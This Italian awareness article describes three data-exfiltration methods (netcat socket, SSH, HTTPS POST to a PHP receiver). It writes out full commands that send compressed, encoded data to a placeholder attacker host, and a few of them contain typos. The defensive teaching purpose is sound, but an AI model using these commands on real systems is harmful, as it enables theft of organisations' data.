A cura di:
Curzi Fernando Lucio
Cyber Specialist Eng. |CEH | eJPT | eCPPT |
I data breach sono grosse mole di dati esfiltrati da banche dati e rivenduti sul darkweb o pubblicati in rete. Ma come avvengono tecnicamente queste transizioni?
In teoria una volta che il cyber criminale sia stato in grado di mettere mano sulle informazioni sensibili attraverso uno sfruttamento di una Backdoor o di una sessione persistente (Advanced Session Threat) , avrà necessità di spostare questi dati al di fuori dell’infrastruttura in modo sicuro e più inosservato possibile, all’interno di sistemi gestiti dall’organizzazione criminale. La fantasia in questi scenari non tarda a mancare ma con questo articolo si cercherà di mostrare come avvengono le esfiltrazioni in modo da sensibilizzare il personale addetto ad effettuare le configurazioni e policy di networking adeguate.
Socket Exfiltration
Uno dei metodi più comuni da attuare è quello che prevede la creazione di un socket TCP locale sul sistema di vittima che punta alla macchina dell’attaccante, dualmente su quest’ ultima potrebbe essere configurato un Listner con Netcat che si mette in ascolto per la ricezione dei dati. In genere gli aggressori per evitare il monitoraggio on-the-wire effettuano compressioni e codifiche dei dati in Base64 ed EBCDIC (Extended Binary Codec Decimal Interchange Code) e solo dopo queste prime procedure avviano il vero trasferimento verso il proprio sistema ove verranno poi decodificati i dati. Vediamo alcuni comandi che potrebbe utilizzare il malintenzionato:
Step 1
L’aggressore sul suo sistema, per prima cosa configura un listner con Netcat sulla porta TCP/80 per ricevere i dati in entrata reindirizzando l’output ad un file “data.tmp”
Il comando è:
nc –nlvpc 80 > data.tmc
Step 2
Sul sistema vittima (si intende già violato) potrebbe avere senso una compressione della cartella da esfiltrare sull’output standard (stdout) (-) codificando il tutto con Base64 e EBCID, reindirizzando poi i dati sul proprio socket TCP locale della sua macchina. Nell’esempio che ho fatto data.tmp è la cartella contenente i dati da esfiltrare. Il comando completo potrebbe essere questo:
tar zfc – /tmp/datafolder | base64 | dd conv=ebcdic > /dev/tcp/<indirizzoIP_attaccante>/80
Step 3
Sulla macchina attaccante l’aggressore decodifica il file data.tmp sull’output data.tar
dd conv=ascii if=data.tmp |base64 –d > data.tar
Step 4
L’aggressore estrae l’archivio data.tar sul proprio sistema avendo disponibilità dei dati in chiaro.
SSH Exfiltration
Un altro metodo un po’ più semplice e altrettanto comune è quello di non codificare i dati in transito nella rete ma cifrarli utilizzando SSH. Il metodo con cifratura potrebbe avere migliori probabilità di eludere qualsiasi monitoraggio nella rete da parte degli IPS e IDS.
Step 1:
Sul sistema vittima , l’aggressore esegue il comando:
tar zfc – /tmp/data | ssh root@<indirizzoIP_attaccante> “cd /tmp; tar zxpf –“
Step 2
Sul sistema attaccante i dati sono già decompressi nella cartella tmp/data e potrà visualizzarli direttamente.
Per una maggiore “furtività”, potrebbe configurare un suo server SSH sulla porta 80 e non sulla porta 22 di SSH.
Https Exfiltration
Il terzo metodo ha un paio di prerequisiti ma è un altro ottimo modo per trasferire dati su protocolli cifrati, in questo caso Https con certificati SSL.
Per svolgere questo tipo di esfiltrazione l’aggressore deve disporre necessariamente un web server con PHP e un certificato SSL installato.
Step 1
Sul sistema attaccante, l’aggressore potrebbe creare un file PHP che scriverà i dati ricevuti come POST request all’interno di un file chiamato /tmp/datafolder.base64 , per distinguerlo chiamerò questo file “contact.php”. Per una maggiore furtività il contenuto del file potrebbe essere inserito in single line (in una riga).
Contact.php
<?php file_put_contents(‘/tmp/data.base64’, file_get_contents(‘php://input’)); ?>
Step 2
Sul sistema vittima l’aggressore invierà il comando curl con una richiesta POST costituita dai dati compressi e codificati in tar e Base64 dalla directory /tmp/data della vittima, che si tradurrà in una richiesta POST al file contact.php sul web server da lui gestito che svolgerà la funzione di scrivere una copia dell’archivio. Il comando potrebbe essere questo:
curl –data “$(tar zcf – /tmp/data | base64)” https://<indirizzoIP_attaccante>/contact.php
Step 3
La macchina dell’attaccante dopo aver ricevuto i dati via POST e li ha scritti nel file /tmp/data.base64 reindirizzando l’output ad un archivio data.tar
cat /tmp/data.base64 | base64 –d > data.tar && tar xf data.tar
Questo è solo un esempio di alcune tecniche ma considerando ormai l’avvento dei ransomware molti di questi comandi e anche altri vengono introdotti all’interno del codice sorgente dei malware. Un buon sistema di monitoraggio abbinato ad un adeguato grado di sicurezza dei sistemi è l’arma vincente per i data breach, con “buon sistema di monitoraggio” intendo che non bisogna tralasciare nessun protocollo, anche i protocolli di rete che svolgono determinate funzioni che ritenete sicuri come il “DNS” vanno monitorati. Su questo ci ritorneremo con Hackerhood con un tutorial che mostrerà come avviene un’esfiltrazione via DNS.
Seguici anche su:
@INSTAGRAM https://www.instagram.com/hackerpunk2019/
@LINKEDIN https://www.linkedin.com/company/hackerpunk
@FACEBOOK https://www.facebook.com/hackerpunk2019
@EBOOK
https://amzn.eu/d/6dcujGr
@EBOOK (English version)
https://amzn.eu/d/0yu1ldv
@YOUTUBE https://www.youtube.com/channel/UCiAAq1h_ehRaw3gi09zlRoQ